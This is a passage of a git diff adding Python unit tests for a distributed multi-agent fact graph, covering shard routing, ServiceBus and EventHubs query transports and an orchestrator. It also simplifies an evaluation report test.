"agent-1", "agent-2"]: + shard = DistributedHiveGraph( + hive_id=f"shard-rf1-{name}", + replication_factor=1, + enable_gossip=False, + ) + shard.register_agent(name) + shards_rf1[name] = shard + bus2.subscribe(name) + + facts_to_promote = [ + ("Water boils at 100 degrees Celsius", "science", "agent-0"), + ("The speed of light is 299792 km/s", "science", "agent-1"), + ("DNA is a double helix structure", "science", "agent-2"), + ] + + for content, concept, agent_id in facts_to_promote: + fact = _make_fact(content, concept, agent_id) + shards_rf1[agent_id].promote_fact(agent_id, fact) + + # Total facts across shards == number of facts promoted (no replication) + total = sum(s.get_stats()["fact_count"] for s in shards_rf1.values()) + assert total == len(facts_to_promote), ( + f"Expected {len(facts_to_promote)} total with replication_factor=1, got {total}" + ) + + # All facts retrievable via cross-shard query + for content, _, _ in facts_to_promote: + results = _sync_cross_shard_query( + requester_id="agent-0", + query=content.split()[0], + shards=shards_rf1, + bus=bus2, + limit=10, + ) + found = any(content in r["content"] for r in results) + assert found, f"Cross-shard query did not find: {content}" + + bus2.close() + + def test_shard_query_event_protocol(self): + """SHARD_QUERY event is delivered and SHARD_RESPONSE is returned.""" + fact = _make_fact("Gravity accelerates at 9.8 m/s²", "physics", "agent-2") + self.shards["agent-2"].promote_fact("agent-2", fact) + + # agent-0 queries using SHARD_QUERY/SHARD_RESPONSE protocol + results = _sync_cross_shard_query( + requester_id="agent-0", + query="gravity acceleration", + shards=self.shards, + bus=self.bus, + ) + + texts = [r["content"] for r in results] + assert any("9.8" in t or "ravit" in t for t in texts), ( + f"Expected gravity fact in results, got: {texts}" + ) + + def test_no_cross_contamination_between_queries(self): + """Separate SHARD_QUERY events with different correlation IDs don't mix.""" + self.shards["agent-0"].promote_fact( + "agent-0", _make_fact("Alpha fact about dogs", "animals", "agent-0") + ) + self.shards["agent-1"].promote_fact( + "agent-1", _make_fact("Beta fact about cats", "animals", "agent-1") + ) + + results_a = _sync_cross_shard_query("agent-2", "dogs", self.shards, self.bus) + results_b = _sync_cross_shard_query("agent-2", "cats", self.shards, self.bus) + + texts_a = [r["content"] for r in results_a] + texts_b = [r["content"] for r in results_b] + + assert any("dog" in t.lower() for t in texts_a), "Query A should find dog facts" + assert any("cat" in t.lower() for t in texts_b), "Query B should find cat facts" + + def test_threaded_shard_query_listener(self): + """ServiceBusShardTransport background thread handles SHARD_QUERY without sleep.""" + from amplihack.agents.goal_seeking.hive_mind.distributed_hive_graph import ( + ServiceBusShardTransport, + ) + + # Build a DistributedHiveGraph with ServiceBusShardTransport (DI pattern) + bus2 = LocalEventBus() + bus2.subscribe("agent-0") + bus2.subscribe("requester") + + sb_transport = ServiceBusShardTransport(event_bus=bus2, agent_id="agent-0") + dht = DistributedHiveGraph( + hive_id="shard-agent-0-threaded", + enable_gossip=False, + transport=sb_transport, + ) + dht.register_agent("agent-0") + dht.promote_fact( + "agent-0", + _make_fact("The Eiffel Tower is in Paris", "landmarks", "agent-0"), + ) + + shutdown = threading.Event() + + # Start a shard listener that processes events with a tiny poll loop + def listener_loop(): + while not shutdown.is_set(): + events = bus2.poll("agent-0") + for event in events: + if event.event_type == "SHARD_QUERY": + sb_transport.handle_shard_query(event) + elif event.event_type == "SHARD_RESPONSE": + sb_transport.handle_shard_response(event) + # Minimal yield — not a timing assumption, just cooperative multitasking + time.sleep(0.005) + + listener = threading.Thread(target=listener_loop, daemon=True) + listener.start() + + try: + # Send SHARD_QUERY from "requester" + correlation_id = uuid.uuid4().hex + query_event = make_event( + event_type="SHARD_QUERY", + source_agent="requester", + payload={"query": "Eiffel Tower", "limit": 5, "correlation_id": correlation_id}, + ) + bus2.publish(query_event) + + # Wait for SHARD_RESPONSE to arrive in requester's mailbox + deadline = time.time() + 2.0 + response_facts: list[dict] = [] + while time.time() < deadline: + events = bus2.poll("requester") + for event in events: + if ( + event.event_type == "SHARD_RESPONSE" + and event.payload.get("correlation_id") == correlation_id + ): + response_facts.extend(event.payload.get("facts", [])) + if response_facts: + break + time.sleep(0.01) + + texts = [f["content"] for f in response_facts] + assert any("Eiffel" in t or "Paris" in t for t in texts), ( + f"Expected Eiffel/Paris in threaded response, got: {texts}" + ) + finally: + shutdown.set() + listener.join(timeout=1.0) + bus2.close() + + +class TestServiceBusShardTransport: + """Verify ServiceBusShardTransport using LocalEventBus as stand-in.""" + + def test_query_shard_local_bypass(self): + """query_shard on own agent_id queries local shard without bus round-trip.""" + bus = LocalEventBus() + bus.subscribe("agent-0") + + sb_transport = ServiceBusShardTransport(event_bus=bus, agent_id="agent-0") + dht = DistributedHiveGraph( + hive_id="test-local-bypass", enable_gossip=False, transport=sb_transport + ) + dht.register_agent("agent-0") + dht.promote_fact( + "agent-0", _make_fact("Python is a programming language", "tech", "agent-0") + ) + + # Query via transport directly — should use local bypass + results = sb_transport.query_shard("agent-0", "Python programming", limit=5) + assert any("Python" in f.content for f in results), ( + f"Local bypass query did not return expected fact. Got: {[f.content for f in results]}" + ) + # No SHARD_QUERY published to bus + assert bus.poll("agent-0") == [], "Local bypass must not publish SHARD_QUERY" + bus.close() + + def test_store_on_shard_local_bypass(self): + """store_on_shard on own agent_id stores locally without publishing SHARD_STORE.""" + from amplihack.agents.goal_seeking.hive_mind.dht import ShardFact + + bus = LocalEventBus() + bus.subscribe("agent-0") + bus.subscribe("observer") + + sb_transport = ServiceBusShardTransport(event_bus=bus, agent_id="agent-0") + dht = DistributedHiveGraph( + hive_id="test-store-bypass", enable_gossip=False, transport=sb_transport + ) + dht.register_agent("agent-0") + + fact = ShardFact( + fact_id="sf-001", + content="Rust is memory-safe", + concept="tech", + confidence=0.9, + source_agent="agent-0", + ) + sb_transport.store_on_shard("agent-0", fact) + + # Fact is in the local shard + shard = dht._router.get_shard("agent-0") + assert shard is not None + stored = shard.get("sf-001") + assert stored is not None and "Rust" in stored.content + + # No SHARD_STORE published + assert bus.poll("observer") == [], "Local store must not publish SHARD_STORE" + bus.close() + + def test_handle_shard_query_publishes_response(self): + """handle_shard_query looks up local facts and publishes SHARD_RESPONSE.""" + bus = LocalEventBus() + bus.subscribe("agent-0") + bus.subscribe("requester") + + sb_transport = ServiceBusShardTransport(event_bus=bus, agent_id="agent-0") + dht = DistributedHiveGraph( + hive_id="test-handle-query", enable_gossip=False, transport=sb_transport + ) + dht.register_agent("agent-0") + dht.promote_fact("agent-0", _make_fact("The Louvre is in Paris", "landmarks", "agent-0")) + + # Simulate incoming SHARD_QUERY + correlation_id = uuid.uuid4().hex + query_event = make_event( + event_type="SHARD_QUERY", + source_agent="requester", + payload={"query": "Louvre Paris", "limit": 5, "correlation_id": correlation_id}, + ) + # agent-0 receives and handles it + sb_transport.handle_shard_query(query_event) + + # requester should have a SHARD_RESPONSE in its mailbox + responses = [e for e in bus.poll("requester") if e.event_type == "SHARD_RESPONSE"] + assert len(responses) == 1 + assert responses[0].payload["correlation_id"] == correlation_id + facts = responses[0].payload["facts"] + assert any("Louvre" in f["content"] or "Paris" in f["content"] for f in facts), ( + f"SHARD_RESPONSE did not contain expected facts: {facts}" + ) + bus.close() + + def test_handle_shard_response_wakes_pending_query(self): + """handle_shard_response sets threading.Event for pending query_shard call.""" + bus = LocalEventBus() + bus.subscribe("agent-1") + + sb_transport = ServiceBusShardTransport(event_bus=bus, agent_id="agent-1") + + # Register a pending correlation + correlation_id = uuid.uuid4().hex + done = threading.Event() + results: list[dict] = [] + with sb_transport._pending_lock: + sb_transport._pending[correlation_id] = (done, results) + + # Simulate incoming SHARD_RESPONSE + response_event = make_event( + event_type="SHARD_RESPONSE", + source_agent="agent-0", + payload={ + "correlation_id": correlation_id, + "facts": [{"content": "Speed of light is 299792 km/s", "confidence": 0.95}], + }, + ) + sb_transport.handle_shard_response(response_event) + + assert done.is_set(), "threading.Event must be set by handle_shard_response" + assert len(results) == 1 + assert "299792" in results[0]["content"] + bus.close() + + def test_remote_query_via_bus_round_trip(self): + """query_shard for a remote agent sends SHARD_QUERY and collects SHARD_RESPONSE.""" + bus = LocalEventBus() + bus.subscribe("agent-0") + bus.subscribe("agent-1") + + # agent-0: owns facts + sb_transport_0 = ServiceBusShardTransport(event_bus=bus, agent_id="agent-0") + dht_0 = DistributedHiveGraph( + hive_id="shard-a0", enable_gossip=False, transport=sb_transport_0 + ) + dht_0.register_agent("agent-0") + dht_0.promote_fact( + "agent-0", _make_fact("The Colosseum is in Rome", "landmarks", "agent-0") + ) + + # agent-1: querier with its own transport + sb_transport_1 = ServiceBusShardTransport(event_bus=bus, agent_id="agent-1", timeout=2.0) + dht_1 = DistributedHiveGraph( + hive_id="shard-a1", enable_gossip=False, transport=sb_transport_1 + ) + dht_1.register_agent("agent-1") + + shutdown = threading.Event() + + # Background listener for agent-0 — handles incoming SHARD_QUERY + def agent0_listener(): + while not shutdown.is_set(): + for event in bus.poll("agent-0"): + if event.event_type == "SHARD_QUERY": + sb_transport_0.handle_shard_query(event) + elif event.event_type == "SHARD_RESPONSE": + sb_transport_0.handle_shard_response(event) + time.sleep(0.005) + + # Background listener for agent-1 — collects SHARD_RESPONSE + def agent1_listener(): + while not shutdown.is_set(): + for event in bus.poll("agent-1"): + if event.event_type == "SHARD_RESPONSE": + sb_transport_1.handle_shard_response(event) + time.sleep(0.005) + + t0 = threading.Thread(target=agent0_listener, daemon=True) + t1 = threading.Thread(target=agent1_listener, daemon=True) + t0.start() + t1.start() + + try: + # agent-1 queries agent-0's shard remotely + results = sb_transport_1.query_shard("agent-0", "Colosseum Rome", limit=5) + texts = [f.content for f in results] + assert any("Colosseum" in t or "Rome" in t for t in texts), ( + f"Remote shard query did not return expected facts. Got: {texts}" + ) + finally: + shutdown.set() + t0.join(timeout=1.0) + t1.join(timeout=1.0) + bus.close() + + +# --------------------------------------------------------------------------- +# Unit tests for Bug 1 fix (promote_fact stores locally) and +# Bug 2 fix (_select_query_targets fans out to all agents in distributed mode) +# --------------------------------------------------------------------------- + + +class TestPromoteFactStoresLocally: + """Bug 1 fix: promote_fact always stores in the promoting agent's own shard.""" + + def test_single_agent_ring_stores_locally(self): + """With one agent on the ring, fact stays in that agent's shard.""" + dht = DistributedHiveGraph(hive_id="test-single", enable_gossip=False) + dht.register_agent("agent-0") + + fact = _make_fact("Water boils at 100C", "science", "agent-0") + dht.promote_fact("agent-0", fact) + + results = dht.query_facts("water boils") + assert any("100" in f.content for f in results), ( + f"Fact not found in single-agent ring. Got: {[f.content for f in results]}" + ) + + def test_multiagent_ring_stores_in_promoting_agent_shard(self): + """With 5 agents on the ring, fact stays in the promoting agent's shard. + + This is the Bug 1 fix: before the fix, DHT would route to a hash-determined + owner which could be any of the 5 agents. After the fix, the fact is always + in the promoting agent's own shard regardless of DHT hash. + """ + # Single DHT with all 5 agents registered (mirrors _init_dht_hive setup) + dht = DistributedHiveGraph(hive_id="test-multi", enable_gossip=False) + for i in range(5): + dht.register_agent(f"agent-{i}") + + fact = _make_fact("Photosynthesis converts light to energy", "biology", "agent-2") + dht.promote_fact("agent-2", fact) + + # The fact must be in agent-2's shard specifically + shard = dht._router.get_shard("agent-2") + assert shard is not None + all_facts = shard.get_all_facts() + assert any("Photosynthesis" in f.content for f in all_facts), ( + "Bug 1: fact not in promoting agent's shard. " + f"Shard contents: {[f.content for f in all_facts]}" + ) + + def test_promote_fact_does_not_broadcast_shard_store(self): + """promote_fact stores locally only — no SHARD_STORE broadcast (pure DHT sharding). + + Commit e2da57e9 (full replication) reverted. Cross-shard retrieval quality + is now achieved via CognitiveAdapter.search() in handle_shard_query instead. + """ + bus = LocalEventBus() + bus.subscribe("agent-0") + bus.subscribe("agent-1") + bus.subscribe("agent-2") + + transport = ServiceBusShardTransport(event_bus=bus, agent_id="agent-0") + dht = DistributedHiveGraph( + hive_id="test-no-replication", enable_gossip=False, transport=transport + ) + for i in range(3): + dht.register_agent(f"agent-{i}") + + fact = _make_fact("Mars is the fourth planet", "astronomy", "agent-0") + dht.promote_fact("agent-0", fact) + + # No SHARD_STORE events should be published to peers (pure DHT sharding) + for sub in ["agent-1", "agent-2"]: + events = bus.poll(sub) + store_events = [e for e in events if e.event_type == "SHARD_STORE"] + assert len(store_events) == 0, ( + f"promote_fact should NOT broadcast SHARD_STORE after revert of e2da57e9, " + f"got events to {sub}: {[e.event_type for e in events]}" + ) + bus.close() + + +class TestDHTSelectQueryTargetsFix: + """Bug 2 fix: _select_query_targets returns all agents in distributed mode.""" + + def test_returns_all_agents_when_some_shards_empty(self): + """When only some shards are non-empty, all agents are returned for fan-out.""" + from amplihack.agents.goal_seeking.hive_mind.dht import DHTRouter + + router = DHTRouter(replication_factor=3, query_fanout=5) + for i in range(5): + router.add_agent(f"agent-{i}") + + # Only agent-0 has facts + shard_0 = router.get_shard("agent-0") + from amplihack.agents.goal_seeking.hive_mind.dht import ShardFact + + shard_0.store( + ShardFact( + fact_id="f1", + content="Test fact in agent-0", + concept="test", + source_agent="agent-0", + ) + ) + + targets = router.select_query_targets("Test fact") + assert set(targets) == {f"agent-{i}" for i in range(5)}, ( + f"Bug 2: expected all 5 agents for fan-out, got: {targets}" + ) + + def test_returns_only_nonempty_when_all_populated(self): + """In-process mode: when ALL shards have facts, return only non-empty (optimization).""" + from amplihack.agents.goal_seeking.hive_mind.dht import DHTRouter, ShardFact + + router = DHTRouter(replication_factor=3, query_fanout=5) + for i in range(3): + router.add_agent(f"agent-{i}") + + # All agents have facts + for i in range(3): + shard = router.get_shard(f"agent-{i}") + shard.store( + ShardFact( + fact_id=f"f{i}", + content=f"Fact {i} content", + concept="test", + source_agent=f"agent-{i}", + ) + ) + + targets = router.select_query_targets("Fact content") + # All 3 agents have non-empty local shards → local shortcut applies + assert len(targets) == 3, f"Expected 3 targets (all populated), got: {targets}" + + def test_distributed_mode_agent1_returns_all_agents_even_with_own_facts(self): + """Bug 2 fix: agent-1's DHT returns all agents even when agent-1 has local facts. + + Before fix: 'local_targets and len(self._shards) == len(all_agents)' triggered + when agent-1 had some local facts and all ShardStores existed, returning only + agent-1's shard and missing remote facts from other agents. + """ + from amplihack.agents.goal_seeking.hive_mind.dht import DHTRouter, ShardFact + + router = DHTRouter(replication_factor=3, query_fanout=5) + for i in range(5): + router.add_agent(f"agent-{i}") + + # Only agent-1 has facts locally (simulates distributed mode where + # other agents' shards are empty stubs, real facts on remote machines) + shard_1 = router.get_shard("agent-1") + shard_1.store( + ShardFact( + fact_id="local-fact", + content="Local fact in agent-1", + concept="test", + source_agent="agent-1", + ) + ) + + targets = router.select_query_targets("local fact") + # Must include ALL 5 agents (not just agent-1) so remote shards are queried + assert set(targets) == {f"agent-{i}" for i in range(5)}, ( + f"Bug 2: only returned {targets}, missing remote agents" + ) + + +# --------------------------------------------------------------------------- +# EventHubsShardTransport — local unit tests (no Azure connection needed) +# --------------------------------------------------------------------------- + + +class TestEventHubsShardTransportLocal: + """Unit tests for EventHubsShardTransport logic using _start_receiving=False. + + Tests drive the internal mailbox directly, bypassing the background receive + thread so no azure-eventhub connection is required. + """ + + def _make_transport(self, agent_id: str) -> Any: + from amplihack.agents.goal_seeking.hive_mind.distributed_hive_graph import ( + EventHubsShardTransport, + ) + + return EventHubsShardTransport( + connection_string="Endpoint=sb://fake.servicebus.windows.net/;...", + eventhub_name="hive-shards-test", + agent_id=agent_id, + _start_receiving=False, # Skip background thread — drive mailbox directly + ) + + def test_query_shard_local_bypass(self): + """query_shard on own agent_id queries local shard without publishing events.""" + transport = self._make_transport("agent-0") + dht = DistributedHiveGraph( + hive_id="eh-local-bypass", enable_gossip=False, transport=transport + ) + dht.register_agent("agent-0") + dht.promote_fact( + "agent-0", + _make_fact("Event Hubs is reliable", "azure", "agent-0"), + ) + + results = transport.query_shard("agent-0", "event hubs", limit=5) + assert any("Event Hubs" in f.content for f in results), ( + f"Local bypass query returned no results: {[f.content for f in results]}" + ) + + def test_handle_shard_query_falls_back_to_shard_when_no_agent(self): + """handle_shard_query without agent falls back to direct ShardStore search.""" + from amplihack.agents.goal_seeking.hive_mind.event_bus import BusEvent + + transport = self._make_transport("agent-0") + dht = DistributedHiveGraph(hive_id="eh-fallback", enable_gossip=False, transport=transport) + dht.register_agent("agent-0") + dht.promote_fact( + "agent-0", + _make_fact("Canberra is the capital of Australia", "geography", "agent-0"), + ) + + correlation_id = uuid.uuid4().hex + query_event = BusEvent( + event_id=uuid.uuid4().hex, + event_type="SHARD_QUERY", + source_agent="agent-1", + timestamp=time.time(), + payload={ + "query": "Canberra Australia", + "limit": 5, + "correlation_id": correlation_id, + "target_agent": "agent-0", + }, + ) + + # Capture published events by patching _publish + published: list[dict] = [] + transport._publish = lambda payload, partition_key=None: published.append(payload) + + transport.handle_shard_query(query_event) # No agent — falls back to shard + + response_events = [p for p in published if p.get("event_type") == "SHARD_RESPONSE"] + assert len(response_events) == 1 + facts = response_events[0]["payload"]["facts"] + assert any("Canberra" in f["content"] for f in facts), ( + f"Fallback shard search did not return Canberra: {facts}" + ) + + def test_handle_shard_query_uses_cognitive_adapter_when_agent_provided(self): + """handle_shard_query with agent uses agent.memory.search_local() (LOCAL-ONLY path).""" + from amplihack.agents.goal_seeking.hive_mind.event_bus import BusEvent + + transport = self._make_transport("agent-0") + DistributedHiveGraph(hive_id="eh-ca", enable_gossip=False, transport=transport) + + search_calls: list[str] = [] + + class _MockMemory: + def search_local(self, query, limit=20): + search_calls.append(query) + return [ + type( + "F", + (), + { + "fact_id": "ca-1", + "content": "CognitiveAdapter: quantum entanglement explanation", + "concept": "physics", + "confidence": 0.95, + "source_agent": "agent-0", + "tags": [], + }, + )() + ] + + class _MockAgent: + memory = _MockMemory() + + correlation_id = uuid.uuid4().hex + query_event = BusEvent( + event_id=uuid.uuid4().hex, + event_type="SHARD_QUERY", + source_agent="agent-1", + timestamp=time.time(), + payload={ + "query": "quantum entanglement", + "limit": 5, + "correlation_id": correlation_id, + "target_agent": "agent-0", + }, + ) + + published: list[dict] = [] + transport._publish = lambda payload, partition_key=None: published.append(payload) + transport._local_graph = type( + "G", + (), + {"_router": type("R", (), {"get_shard": lambda self, aid: None})()}, + )() + + transport.handle_shard_query(query_event, agent=_MockAgent()) + + assert search_calls, "agent.memory.search_local() was not called" + assert search_calls[0] == "quantum entanglement" + response_events = [p for p in published if p.get("event_type") == "SHARD_RESPONSE"] + assert len(response_events) == 1 + facts = response_events[0]["payload"]["facts"] + assert any("CognitiveAdapter" in f["content"] for f in facts), ( + f"CognitiveAdapter result missing from EH SHARD_RESPONSE: {facts}" + ) + + def test_handle_shard_query_cognitive_adapter_dict_format(self): + """handle_shard_query correctly handles CognitiveAdapter dict results. + + CognitiveAdapter.search() returns dicts with ``outcome``/``context``/ + ``confidence`` keys. Previously getattr(f, 'content', '') on a dict + returned '' causing ALL results to be filtered, producing empty + SHARD_RESPONSE and ~50% eval score vs 90%+ single-agent. + """ + from amplihack.agents.goal_seeking.hive_mind.event_bus import BusEvent + + transport = self._make_transport("agent-0") + DistributedHiveGraph(hive_id="eh-ca-dict", enable_gossip=False, transport=transport) + + class _MockMemory: + def search_local(self, query, limit=20): + # Real CognitiveAdapter returns dicts with outcome/context/confidence + return [ + { + "experience_id": "ca-dict-1", + "outcome": "Sarah Chen was born on March 15 1992", + "context": "Personal Information", + "confidence": 0.92, + "timestamp": "", + "tags": ["birthday", "person"], + "metadata": {}, + } + ] + + class _MockAgent: + memory = _MockMemory() + + correlation_id = uuid.uuid4().hex + query_event = BusEvent( + event_id=uuid.uuid4().hex, + event_type="SHARD_QUERY", + source_agent="agent-1", + timestamp=time.time(), + payload={ + "query": "Sarah Chen birthday", + "limit": 5, + "correlation_id": correlation_id, + "target_agent": "agent-0", + }, + ) + + published: list[dict] = [] + transport._publish = lambda payload, partition_key=None: published.append(payload) + transport._local_graph = type( + "G", + (), + {"_router": type("R", (), {"get_shard": lambda self, aid: None})()}, + )() + + transport.handle_shard_query(query_event, agent=_MockAgent()) + + response_events = [p for p in published if p.get("event_type") == "SHARD_RESPONSE"] + assert response_events, "No SHARD_RESPONSE published" + facts = response_events[0].get("payload", {}).get("facts", []) + assert facts, ( + "SHARD_RESPONSE has empty facts — dict results from CognitiveAdapter " + "are being dropped (regression in _search_for_shard_response)" + ) + texts = [f["content"] for f in facts] + assert any("Sarah Chen" in t for t in texts), ( + f"Expected 'Sarah Chen' fact in SHARD_RESPONSE, got: {texts}" + ) + + def test_handle_shard_response_wakes_pending_query(self): + """handle_shard_response sets the pending threading.Event.""" + from amplihack.agents.goal_seeking.hive_mind.event_bus import BusEvent + + transport = self._make_transport("agent-1") + + correlation_id = uuid.uuid4().hex + done = threading.Event() + results: list[dict] = [] + with transport._pending_lock: + transport._pending[correlation_id] = (done, results) + + response_event = BusEvent( + event_id=uuid.uuid4().hex, + event_type="SHARD_RESPONSE", + source_agent="agent-0", + timestamp=time.time(), + payload={ + "correlation_id": correlation_id, + "facts": [{"content": "EH response fact", "confidence": 0.9}], + }, + ) + transport.handle_shard_response(response_event) + + assert done.is_set(), "threading.Event must be set by handle_shard_response" + assert any("EH response fact" in r.get("content", "") for r in results) + + def test_poll_drains_mailbox(self): + """poll() returns events added to the mailbox and resets mailbox_ready.""" + from amplihack.agents.goal_seeking.hive_mind.event_bus import BusEvent + + transport = self._make_transport("agent-0") + + # Manually inject an event into the mailbox + fake_event = BusEvent( + event_id="test", + event_type="SHARD_QUERY", + source_agent="agent-1", + timestamp=time.time(), + payload={"query": "test", "limit": 5, "correlation_id": "abc"}, + ) + with transport._mailbox_lock: + transport._mailbox.append(fake_event) + transport._mailbox_ready.set() + + events = transport.poll("agent-0") + assert len(events) == 1 + assert events[0].event_type == "SHARD_QUERY" + + # Mailbox should be empty now + assert transport._mailbox == [] + + +# --------------------------------------------------------------------------- +# CognitiveAdapter cross-shard retrieval via ServiceBusShardTransport +# --------------------------------------------------------------------------- + + +class TestServiceBusShardTransportCognitiveAdapter: + """Verify handle_shard_query uses CognitiveAdapter when agent is provided.""" + + def test_handle_shard_query_with_agent_uses_memory_search(self): + """handle_shard_query with agent uses agent.memory.search_local() not ShardStore.""" + bus = LocalEventBus() + bus.subscribe("agent-0") + bus.subscribe("agent-1") + + sb_transport = ServiceBusShardTransport(event_bus=bus, agent_id="agent-0") + dht = DistributedHiveGraph( + hive_id="sb-ca-test", enable_gossip=False, transport=sb_transport + ) + dht.register_agent("agent-0") + + search_calls: list[str] = [] + + class _MockMemory: + def search_local(self, query, limit=20): + search_calls.append(query) + return [ + type( + "F", + (), + { + "fact_id": "sb-ca-1", + "content": "CognitiveAdapter: Sahara is in Africa", + "concept": "geography", + "confidence": 0.92, + "source_agent": "agent-0", + "tags": [], + }, + )() + ] + + class _MockAgent: + memory = _MockMemory() + + correlation_id = uuid.uuid4().hex + query_event = make_event( + event_type="SHARD_QUERY", + source_agent="agent-1", + payload={ + "query": "Sahara Africa", + "limit": 5, + "correlation_id": correlation_id, + "target_agent": "agent-0", + }, + ) + bus.publish(query_event) + + for event in bus.poll("agent-0"): + if event.event_type == "SHARD_QUERY": + sb_transport.handle_shard_query(event, agent=_MockAgent()) + + assert search_calls, "agent.memory.search_local() was not called" + response_facts: list[dict] = [] + for event in bus.poll("agent-1"): + if ( + event.event_type == "SHARD_RESPONSE" + and event.payload.get("correlation_id") == correlation_id + ): + response_facts.extend(event.payload.get("facts", [])) + + texts = [f["content"] for f in response_facts] + assert any("CognitiveAdapter" in t for t in texts), ( + f"CognitiveAdapter result missing from SB SHARD_RESPONSE: {texts}" + ) + bus.close() + + +# --------------------------------------------------------------------------- +# Direct _search_for_shard_response unit tests +# --------------------------------------------------------------------------- + + +class TestSearchForShardResponse: + """Verify _search_for_shard_response uses CognitiveAdapter when agent is provided.""" + + def test_shard_query_uses_cognitive_adapter_when_agent_provided(self): + """With a mock agent, _search_for_shard_response returns CognitiveAdapter results.""" + cognitive_results = [ + { + "outcome": "test fact", + "context": "test concept", + "confidence": 0.9, + "experience_id": "test-id", + "tags": [], + } + ] + + class _MockMemory: + def search_local(self, query: str, limit: int = 20) -> list[dict]: + return cognitive_results + + class _MockAgent: + memory = _MockMemory() + + local_graph = DistributedHiveGraph(hive_id="shard-ca-unit", enable_gossip=False) + local_graph.register_agent("agent-0") + # Promote a shard fact so ShardStore fallback would return something different + local_graph.promote_fact( + "agent-0", + _make_fact("shard store fallback fact", "fallback", "agent-0"), + ) + + facts = _search_for_shard_response( + query="test query", + limit=5, + agent=_MockAgent(), + local_graph=local_graph, + agent_id="agent-0", + ) + + assert len(facts) == 1 + assert facts[0]["content"] == "test fact" + assert facts[0]["concept"] == "test concept" + assert facts[0]["confidence"] == 0.9 + assert facts[0]["fact_id"] == "test-id" + assert facts[0]["source_agent"] == "agent-0" + + def test_shard_query_falls_back_to_shard_store_when_no_agent(self): + """With agent=None, _search_for_shard_response falls back to ShardStore.""" + local_graph = DistributedHiveGraph(hive_id="shard-fb-unit", enable_gossip=False) + local_graph.register_agent("agent-0") + local_graph.promote_fact( + "agent-0", + _make_fact("fallback shard fact about dogs", "animals", "agent-0"), + ) + + facts = _search_for_shard_response( + query="dogs", + limit=5, + agent=None, + local_graph=local_graph, + agent_id="agent-0", + ) + + assert len(facts) >= 1 + texts = [f["content"] for f in facts] + assert any("dogs" in t for t in texts), ( + f"ShardStore fallback should find 'dogs' fact, got: {texts}" + ) diff --git a/tests/hive_mind/test_eval_integration.py b/tests/hive_mind/test_eval_integration.py index 06429a4a6..50df538bf 100644 --- a/tests/hive_mind/test_eval_integration.py +++ b/tests/hive_mind/test_eval_integration.py @@ -202,12 +202,11 @@ def test_eval_runner_generate(self): # --------------------------------------------------------------------------- -class TestMultiSeedReportCIFields: - """Verify MultiSeedReport has confidence interval fields from eval repo.""" +class TestMultiSeedReportFields: + """Verify MultiSeedReport instantiation and serialization.""" - def test_multi_seed_report_has_ci_fields(self): - """Test 6: MultiSeedReport has CI fields (overall_ci_95_lower, etc.).""" - # Construct a minimal MultiSeedReport to verify the CI fields exist + def test_multi_seed_report_basic_construction(self): + """Test 6: MultiSeedReport can be constructed with required fields.""" report = MultiSeedReport( seeds=[42], num_turns=5, @@ -219,22 +218,15 @@ def test_multi_seed_report_has_ci_fields(self): noisy_questions=[], all_question_variances=[], per_seed_reports={}, - overall_ci_95_lower=0.80, - overall_ci_95_upper=0.90, - overall_margin_of_error=0.05, - repeats_per_seed=1, - intra_seed_stddev=0.0, ) - # Verify CI fields exist and have correct values - assert report.overall_ci_95_lower == 0.80 - assert report.overall_ci_95_upper == 0.90 - assert report.overall_margin_of_error == 0.05 - assert report.repeats_per_seed == 1 - assert report.intra_seed_stddev == 0.0 + assert report.overall_mean == 0.85 + assert report.overall_stddev == 0.05 + assert report.seeds == [42] + assert report.num_turns == 5 - def test_multi_seed_report_to_dict_includes_ci(self): - """MultiSeedReport.to_dict() includes CI fields in output.""" + def test_multi_seed_report_to_dict(self): + """MultiSeedReport.to_dict() produces valid dict with required fields.""" report = MultiSeedReport( seeds=[42], num_turns=5, @@ -246,16 +238,12 @@ def test_multi_seed_report_to_dict_includes_ci(self): noisy_questions=[], all_question_variances=[], per_seed_reports={}, - overall_ci_95_lower=0.80, - overall_ci_95_upper=0.90, - overall_margin_of_error=0.05, ) d = report.to_dict() - assert "overall_ci_95_lower" in d - assert "overall_ci_95_upper" in d - assert "overall_margin_of_error" in d - assert d["overall_ci_95_lower"] == 0.80 - assert d["overall_ci_95_upper"] == 0.90 + assert "overall_mean" in d + assert "overall_stddev" in d + assert d["overall_mean"] == 0.85 + assert d["overall_stddev"] == 0.05 # --------------------------------------------------------------------------- diff --git a/tests/hive_mind/test_orchestrator.py b/tests/hive_mind/test_orchestrator.py new file mode 100644 index 000000000..fc3ac20dd --- /dev/null +++ b/tests/hive_mind/test_orchestrator.py @@ -0,0 +1,369 @@ +"""Tests for HiveMindOrchestrator -- unified four-layer coordination. + +Tests the contract, not implementation details: +- PromotionPolicy protocol compliance (DefaultPromotionPolicy) +- store_and_promote: layer 1 (HiveGraph) promotion +- store_and_promote: layer 2 (EventBus) event publication +- store_and_promote: below-threshold facts are not promoted +- query_unified: returns deduplicated results sorted by confidence +- process_event: incorporates FACT_PROMOTED events from peers +- process_event: rejects non-FACT_PROMOTED events +- process_event: applies peer confidence discount +- drain_events: polls bus and processes all pending events +- run_gossip_round: handles no-peers case gracefully +- close: unsubscribes from event bus without raising +""" + +from __future__ import annotations + +import pytest + +from amplihack.agents.goal_seeking.hive_mind.event_bus import ( + LocalEventBus, + make_event, +) +from amplihack.agents.goal_seeking.hive_mind.hive_graph import ( + HiveFact, + InMemoryHiveGraph, +) +from amplihack.agents.goal_seeking.hive_mind.orchestrator import ( + DefaultPromotionPolicy, + HiveMindOrchestrator, + PromotionPolicy, +) + +# --------------------------------------------------------------------------- +# Fixtures +# --------------------------------------------------------------------------- + + +@pytest.fixture() +def hive() -> InMemoryHiveGraph: + g = InMemoryHiveGraph("test-hive") + g.register_agent("agent_a") + return g + + +@pytest.fixture() +def bus() -> LocalEventBus: + b = LocalEventBus() + b.subscribe("agent_a") + return b + + +@pytest.fixture() +def orch(hive: InMemoryHiveGraph, bus: LocalEventBus) -> HiveMindOrchestrator: + return HiveMindOrchestrator( + agent_id="agent_a", + hive_graph=hive, + event_bus=bus, + ) + + +# --------------------------------------------------------------------------- +# PromotionPolicy protocol compliance +# --------------------------------------------------------------------------- + + +def test_default_policy_is_promotion_policy() -> None: + policy = DefaultPromotionPolicy() + assert isinstance(policy, PromotionPolicy) + + +def test_default_policy_promotes_high_confidence() -> None: + policy = DefaultPromotionPolicy(promote_threshold=0.5) + fact = HiveFact(fact_id="f1", content="test", concept="test", confidence=0.8) + assert policy.should_promote(fact, "agent_a") + + +def test_default_policy_blocks_low_confidence() -> None: + policy = DefaultPromotionPolicy(promote_threshold=0.8) + fact = HiveFact(fact_id="f1", 